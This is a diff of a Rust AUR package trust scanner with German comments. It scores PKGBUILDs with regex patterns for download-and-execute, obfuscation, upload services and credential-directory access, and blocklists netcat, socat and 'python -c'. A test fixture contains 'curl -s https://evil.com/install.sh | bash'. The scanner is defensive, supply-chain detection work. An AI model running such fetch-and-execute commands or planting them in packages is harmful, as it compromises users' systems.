struct AurPackageInfo {
|
||||||
|
#[serde(rename = "Name")]
|
||||||
|
name: String,
|
||||||
|
#[serde(rename = "Version")]
|
||||||
|
version: String,
|
||||||
|
#[serde(rename = "Description")]
|
||||||
|
description: Option<String>,
|
||||||
|
#[serde(rename = "URL")]
|
||||||
|
url: Option<String>,
|
||||||
|
#[serde(rename = "URLPath")]
|
||||||
|
url_path: Option<String>,
|
||||||
|
#[serde(rename = "Maintainer")]
|
||||||
|
maintainer: Option<String>,
|
||||||
|
#[serde(rename = "NumVotes")]
|
||||||
|
num_votes: u32,
|
||||||
|
#[serde(rename = "Popularity")]
|
||||||
|
popularity: f32,
|
||||||
|
#[serde(rename = "OutOfDate")]
|
||||||
|
out_of_date: Option<i64>,
|
||||||
|
}
|
||||||
@@ -0,0 +1,401 @@
|
|||||||
|
use anyhow::{Context, Result};
|
||||||
|
use regex::Regex;
|
||||||
|
use std::collections::HashSet;
|
||||||
|
use std::path::Path;
|
||||||
|
use tracing::{debug, trace, warn};
|
||||||
|
|
||||||
|
/// Score-Kategorien für das Trust-Rating
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct TrustScore {
|
||||||
|
pub overall: u32, // 0-100 (100 = vertrauenswürdig)
|
||||||
|
pub categories: Vec<ScoreCategory>,
|
||||||
|
pub warnings: Vec<String>,
|
||||||
|
pub critical_findings: Vec<CriticalFinding>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct ScoreCategory {
|
||||||
|
pub name: String,
|
||||||
|
pub score: u32, // 0-100
|
||||||
|
pub weight: f32,
|
||||||
|
pub description: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub enum CriticalFinding {
|
||||||
|
RemoteCodeExecution(String), // Befehl der gefunden wurde
|
||||||
|
CredentialExfiltration(String),
|
||||||
|
PersistenceMechanism(String),
|
||||||
|
ObfuscatedScript(String),
|
||||||
|
SuspiciousNetworkCall(String),
|
||||||
|
OrphanTakeover { original: String, new_maintainer: String },
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Konfiguration für Heuristiken
|
||||||
|
pub struct TrustScorer {
|
||||||
|
suspicious_patterns: Vec<SuspiciousPattern>,
|
||||||
|
trusted_domains: HashSet<String>,
|
||||||
|
blocklisted_commands: Vec<Regex>,
|
||||||
|
}
|
||||||
|
|
||||||
|
struct SuspiciousPattern {
|
||||||
|
pattern: Regex,
|
||||||
|
penalty: u32,
|
||||||
|
description: String,
|
||||||
|
critical: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TrustScorer {
|
||||||
|
pub fn new() -> Result<Self> {
|
||||||
|
let mut scorer = TrustScorer {
|
||||||
|
suspicious_patterns: Vec::new(),
|
||||||
|
trusted_domains: Self::default_trusted_domains(),
|
||||||
|
blocklisted_commands: Vec::new(),
|
||||||
|
};
|
||||||
|
|
||||||
|
scorer.compile_patterns()?;
|
||||||
|
Ok(scorer)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn compile_patterns(&mut self) -> Result<()> {
|
||||||
|
// KRITISCHE PATTERNS (sofortiger Alarm)
|
||||||
|
let critical_patterns = vec![
|
||||||
|
// npm/bun install mit verdächtigen Paketen
|
||||||
|
(r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true),
|
||||||
|
// Download + Ausführen
|
||||||
|
(r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true),
|
||||||
|
(r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true),
|
||||||
|
// Obfuscation
|
||||||
|
(r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true),
|
||||||
|
(r"(?i)eval\s*\$", 90, "Eval mit Variablen", true),
|
||||||
|
(r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true),
|
||||||
|
// Netzwerk-Exfiltration
|
||||||
|
(r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true),
|
||||||
|
// System-Persistenz
|
||||||
|
(r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false),
|
||||||
|
(r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false),
|
||||||
|
// Browser/Credential-Zugriff
|
||||||
|
(r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false),
|
||||||
|
// eBPF
|
||||||
|
(r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false),
|
||||||
|
];
|
||||||
|
|
||||||
|
for (pattern, penalty, desc, critical) in critical_patterns {
|
||||||
|
let regex = Regex::new(pattern)
|
||||||
|
.with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?;
|
||||||
|
self.suspicious_patterns.push(SuspiciousPattern {
|
||||||
|
pattern: regex,
|
||||||
|
penalty,
|
||||||
|
description: desc.to_string(),
|
||||||
|
critical,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Blockliste von Kommandos (soweit Regex-technisch möglich)
|
||||||
|
self.blocklisted_commands = vec![
|
||||||
|
Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(),
|
||||||
|
Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(),
|
||||||
|
];
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn default_trusted_domains() -> HashSet<String> {
|
||||||
|
let mut domains = HashSet::new();
|
||||||
|
domains.insert("github.com".to_string());
|
||||||
|
domains.insert("gitlab.com".to_string());
|
||||||
|
domains.insert("salsa.debian.org".to_string());
|
||||||
|
domains.insert("codeberg.org".to_string());
|
||||||
|
domains.insert("sourceforge.net".to_string());
|
||||||
|
domains.insert("kernel.org".to_string());
|
||||||
|
domains.insert("gnu.org".to_string());
|
||||||
|
domains.insert("apache.org".to_string());
|
||||||
|
domains.insert("mozilla.org".to_string());
|
||||||
|
domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden
|
||||||
|
domains.insert("crates.io".to_string());
|
||||||
|
domains.insert("pypi.org".to_string());
|
||||||
|
domains.insert("archlinux.org".to_string());
|
||||||
|
domains
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Analysiert einen PKGBUILD-Inhalt
|
||||||
|
pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore {
|
||||||
|
let mut score = 100u32;
|
||||||
|
let mut categories = Vec::new();
|
||||||
|
let mut warnings = Vec::new();
|
||||||
|
let mut critical_findings = Vec::new();
|
||||||
|
|
||||||
|
// 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script)
|
||||||
|
let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content);
|
||||||
|
categories.push(ScoreCategory {
|
||||||
|
name: "Shell-Script Sicherheit".to_string(),
|
||||||
|
score: shell_score,
|
||||||
|
weight: 0.40,
|
||||||
|
description: "Analyse von PKGBUILD als Shell-Script".to_string(),
|
||||||
|
});
|
||||||
|
warnings.extend(shell_warnings);
|
||||||
|
critical_findings.extend(shell_critical);
|
||||||
|
score = score.saturating_sub(100 - shell_score);
|
||||||
|
|
||||||
|
// 2. Source-URL Verifizierung
|
||||||
|
let (url_score, url_warnings) = self.analyze_source_url(source_url);
|
||||||
|
categories.push(ScoreCategory {
|
||||||
|
name: "Source-URL Vertrauen".to_string(),
|
||||||
|
score: url_score,
|
||||||
|
weight: 0.20,
|
||||||
|
description: "Prüfung der Herkunft des Source-Codes".to_string(),
|
||||||
|
});
|
||||||
|
warnings.extend(url_warnings);
|
||||||
|
score = score.saturating_sub((100 - url_score) / 3);
|
||||||
|
|
||||||
|
// 3. Checksum-Qualität
|
||||||
|
let (checksum_score, checksum_warnings) = self.analyze_checksums(content);
|
||||||
|
categories.push(ScoreCategory {
|
||||||
|
name: "Checksum Verifizierung".to_string(),
|
||||||
|
score: checksum_score,
|
||||||
|
weight: 0.20,
|
||||||
|
description: "Qualität und Vollständigkeit der Prüfsummen".to_string(),
|
||||||
|
});
|
||||||
|
warnings.extend(checksum_warnings);
|
||||||
|
score = score.saturating_sub((100 - checksum_score) / 3);
|
||||||
|
|
||||||
|
// 4. Maintainer-Heuristiken
|
||||||
|
let (maint_score, maint_warnings) = self.analyze_maintainer_info(content);
|
||||||
|
categories.push(ScoreCategory {
|
||||||
|
name: "Maintainer-Vertrauen".to_string(),
|
||||||
|
score: maint_score,
|
||||||
|
weight: 0.20,
|
||||||
|
description: "Heuristiken zum Maintainer-Account".to_string(),
|
||||||
|
});
|
||||||
|
warnings.extend(maint_warnings);
|
||||||
|
score = score.saturating_sub((100 - maint_score) / 3);
|
||||||
|
|
||||||
|
// Gewichteten Score berechnen
|
||||||
|
let weighted_score: f32 = categories.iter()
|
||||||
|
.map(|c| c.score as f32 * c.weight)
|
||||||
|
.sum();
|
||||||
|
|
||||||
|
TrustScore {
|
||||||
|
overall: weighted_score.round() as u32,
|
||||||
|
categories,
|
||||||
|
warnings,
|
||||||
|
critical_findings,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn analyze_shell_script(&self, content: &str) -> (u32, Vec<String>, Vec<CriticalFinding>) {
|
||||||
|
let mut score = 100u32;
|
||||||
|
let mut warnings = Vec::new();
|
||||||
|
let mut critical = Vec::new();
|
||||||
|
|
||||||
|
for pattern in &self.suspicious_patterns {
|
||||||
|
if pattern.pattern.is_match(content) {
|
||||||
|
let captures: Vec<_> = pattern.pattern.find_iter(content).collect();
|
||||||
|
|
||||||
|
for cap in captures {
|
||||||
|
let ctx_start = cap.start().saturating_sub(30);
|
||||||
|
let ctx_end = (cap.end() + 30).min(content.len());
|
||||||
|
let context = &content[ctx_start..ctx_end];
|
||||||
|
let context_clean = context.replace('\n', "\\n");
|
||||||
|
|
||||||
|
if pattern.critical {
|
||||||
|
critical.push(CriticalFinding::RemoteCodeExecution(format!(
|
||||||
|
"{} (Kontext: ...{}...)",
|
||||||
|
pattern.description,
|
||||||
|
context_clean
|
||||||
|
)));
|
||||||
|
score = score.saturating_sub(pattern.penalty);
|
||||||
|
} else {
|
||||||
|
warnings.push(format!(
|
||||||
|
"{}: {}",
|
||||||
|
pattern.description,
|
||||||
|
context_clean
|
||||||
|
));
|
||||||
|
score = score.saturating_sub(pattern.penalty / 2);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Blocklisted Commands
|
||||||
|
for cmd_regex in &self.blocklisted_commands {
|
||||||
|
if let Some(mat) = cmd_regex.find(content) {
|
||||||
|
warnings.push(format!(
|
||||||
|
"Potentiell gefährlicher Befehl erkannt: {}",
|
||||||
|
&content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())]
|
||||||
|
));
|
||||||
|
score = score.saturating_sub(10);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Prozentuale Bewertung
|
||||||
|
(score.min(100), warnings, critical)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec<String>) {
|
||||||
|
let mut score = 100u32;
|
||||||
|
let mut warnings = Vec::new();
|
||||||
|
|
||||||
|
let url = match url {
|
||||||
|
Some(u) => u,
|
||||||
|
None => {
|
||||||
|
warnings.push("Keine Source-URL gefunden".to_string());
|
||||||
|
return (50, warnings);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// HTTPS check
|
||||||
|
if !url.starts_with("https://") {
|
||||||
|
warnings.push("Source-URL verwendet kein HTTPS".to_string());
|
||||||
|
score -= 20;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Domain check
|
||||||
|
let domain = url.split('/').nth(2).unwrap_or("");
|
||||||
|
let domain_clean = domain.strip_prefix("www.").unwrap_or(domain);
|
||||||
|
|
||||||
|
if !self.trusted_domains.contains(domain_clean) {
|
||||||
|
warnings.push(format!(
|
||||||
|
"Domain '{}' ist nicht in der Trust-Liste",
|
||||||
|
domain_clean
|
||||||
|
));
|
||||||
|
score -= 15;
|
||||||
|
}
|
||||||
|
|
||||||
|
// URL Shortener / Pastebin checks
|
||||||
|
if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly")
|
||||||
|
|| url.contains("t.co") || url.contains("short.link") {
|
||||||
|
warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string());
|
||||||
|
score -= 50;
|
||||||
|
}
|
||||||
|
|
||||||
|
(score.max(0), warnings)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn analyze_checksums(&self, content: &str) -> (u32, Vec<String>) {
|
||||||
|
let mut score = 100u32;
|
||||||
|
let mut warnings = Vec::new();
|
||||||
|
|
||||||
|
// Prüfe auf SHA256/SHA512 (gut)
|
||||||
|
let has_sha256 = content.contains("sha256sums") || content.contains("sha256");
|
||||||
|
let has_sha512 = content.contains("sha512sums") || content.contains("sha512");
|
||||||
|
let has_md5 = content.contains("md5sums") || content.contains("md5");
|
||||||
|
let has_skip = content.contains("SKIP") || content.contains("skip");
|
||||||
|
|
||||||
|
if has_sha256 || has_sha512 {
|
||||||
|
score += 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
if has_md5 && !has_sha256 && !has_sha512 {
|
||||||
|
warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string());
|
||||||
|
score -= 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
if has_skip {
|
||||||
|
warnings.push("Checksummen werden übersprungen (SKIP)".to_string());
|
||||||
|
score -= 40;
|
||||||
|
}
|
||||||
|
|
||||||
|
if !has_sha256 && !has_sha512 && !has_md5 && !has_skip {
|
||||||
|
warnings.push("Keine Checksummen definiert".to_string());
|
||||||
|
score -= 50;
|
||||||
|
}
|
||||||
|
|
||||||
|
(score.max(0).min(100), warnings)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec<String>) {
|
||||||
|
// Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen
|
||||||
|
// In einer erweiterten Version würde dies die AUR-RPC API nutzen
|
||||||
|
let mut score = 80u32; // Neutral
|
||||||
|
let mut warnings = Vec::new();
|
||||||
|
|
||||||
|
// Prüfe auf "Contributor" vs "Maintainer"
|
||||||
|
if !content.contains("# Maintainer:") {
|
||||||
|
if content.contains("# Contributor:") {
|
||||||
|
warnings.push("Nur Contributor, kein Maintainer definiert".to_string());
|
||||||
|
score -= 10;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
(score.max(0).min(100), warnings)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar)
|
||||||
|
pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore {
|
||||||
|
// Minimale Analyse basierend auf pacman -Qi Ausgabe
|
||||||
|
let mut warnings = Vec::new();
|
||||||
|
|
||||||
|
if pkg_info.contains("AUR") || pkg_info.contains("foreign") {
|
||||||
|
warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string());
|
||||||
|
}
|
||||||
|
|
||||||
|
TrustScore {
|
||||||
|
overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD
|
||||||
|
categories: vec![],
|
||||||
|
warnings,
|
||||||
|
critical_findings: vec![],
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_npm_install_detection() {
|
||||||
|
let scorer = TrustScorer::new().unwrap();
|
||||||
|
let malicious_pkgbuild = r#"
|
||||||
|
pkgname=test-malicious
|
||||||
|
pkgver=1.0
|
||||||
|
pkgrel=1
|
||||||
|
|
||||||
|
build() {
|
||||||
|
npm install atomic-lockfile
|
||||||
|
}
|
||||||
|
"#;
|
||||||
|
|
||||||
|
let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None);
|
||||||
|
assert!(!result.critical_findings.is_empty());
|
||||||
|
assert!(result.overall < 50);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_curl_pipe_bash_detection() {
|
||||||
|
let scorer = TrustScorer::new().unwrap();
|
||||||
|
let bad_pkgbuild = r#"
|
||||||
|
pkgname=test-bad
|
||||||
|
pkgver=1.0
|
||||||
|
|
||||||
|
prepare() {
|
||||||
|
curl -s https://evil.com/install.sh | bash
|
||||||
|
}
|
||||||
|
"#;
|
||||||
|
|
||||||
|
let result = scorer.analyze_pkgbuild(bad_pkgbuild, None);
|
||||||
|
assert!(!result.critical_findings.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_legitimate_pkgbuild() {
|
||||||
|
let scorer = TrustScorer::new().unwrap();
|
||||||
|
let good_pkgbuild = r#"
|
||||||
|
pkgname=hello
|
||||||
|
pkgver=2.12
|
||||||
|
pkgrel=1
|
||||||
|
source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz)
|
||||||
|
sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517')
|
||||||
|
|
||||||
|
build() {
|
||||||
|
cd "$pkgname-$pkgver"
|
||||||
|
./configure --prefix=/usr
|
||||||
|
make
|
||||||
|
}
|
||||||
|
"#;
|
||||||
|
|
||||||
|
let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz"));
|
||||||
|
assert!(result.overall > 70);
|
||||||
|
assert!(result.critical_findings.is_empty());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
use anyhow::Result;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use std::path::PathBuf;
|
||||||
|
|
||||||
|
/// Gemeinsame Utility-Funktionen
|
||||||
|
pub fn get_project_dirs() -> Result<directories::ProjectDirs> {
|
||||||
|
directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("Konnte Projekt-Verzeichnisse nicht ermitteln"))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Formatiert Bytes als menschenlesbare Größe
|
||||||
|
pub fn format_bytes(bytes: u64) -> String {
|
||||||
|
const UNITS: [&str; 6] = ["B", "KB", "MB", "GB", "TB", "PB"];
|
||||||
|
let mut size = bytes as f64;
|
||||||
|
let mut unit_index = 0;
|
||||||
|
|
||||||
|
while size >= 1024.0 && unit_index < UNITS.len() - 1 {
|
||||||
|
size /= 1024.0;
|
||||||
|
unit_index += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
format!("{:.2} {}", size, UNITS[unit_index])
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Prüft ob ein Befehl verfügbar ist
|
||||||
|
pub fn command_exists(cmd: &str) -> bool {
|
||||||
|
which::which(cmd).is_ok()
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user